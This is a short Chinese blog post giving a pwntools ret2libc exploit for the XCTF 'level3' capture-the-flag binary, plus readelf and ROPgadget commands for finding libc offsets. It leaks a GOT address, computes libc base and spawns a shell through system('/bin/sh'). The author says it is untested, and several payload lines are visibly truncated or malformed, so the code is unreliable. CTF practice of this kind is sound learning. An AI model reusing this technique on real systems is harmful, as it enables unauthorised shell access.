xctf之level3

原创

neuisf 于 2020-01-04 10:04:19 发布 226 收藏
分类专栏： Pwn

本文链接：https://blog.csdn.net/neuisf/article/details/103830161
版权

Pwn 专栏收录该内容
23 篇文章 0 订阅
订阅专栏

未调试，可能由错误！

```
from pwn import *
from LibcSearcher import *

p=process('./level3')
elf=ELF("./level3")
write_plt=elf.plt["write"]
read_plt=elf.plt["read"] #0x8048310

print "readplt:"+str(hex(read_plt))
target_func=elf.got['write']
bin_sh_addr=0x0804b000-8
start_addr=0x804848e
write_payload='a'*136+p32(0x0)+p32(read_plt)+p32(start_addr)+p32(0x00000000)+p32(bin_sh_addr)+p32(0x
p.sendafter("Input:\n",write_payload)
print "arrive B"
payload='a'*136+p32(0x0)+p32(write_plt)+p32(start_addr)+p32(0x00000001)+p32(target_func)+p32(0x000000
p.sendline(payload)
write_addr= u32(p.recv()[:4])
print "write_addr:"+str(hex(write_addr))
print "arrive C"
```

```
#libc=LibcSearcher("write",write_addr)
base_addr=write_addr-0x000d43c0
print "base_addr:"+str(hex(base_addr))
sys_addr=base_addr+0x0003a940
payload='a'*136+p32(0x0)+p32(sys_addr)+p32(start_addr)+p32(bin_sh_addr)
p.sendline("Input:\n",payload)
p.interactive()
```

寻找system偏移量：

```
 readelf -s pwn/libc_32.so.6|grep system
```

寻找system偏移量：

```
ROPgadget --binary pwn/libc_32.so.6 --string "/bin/sh"
```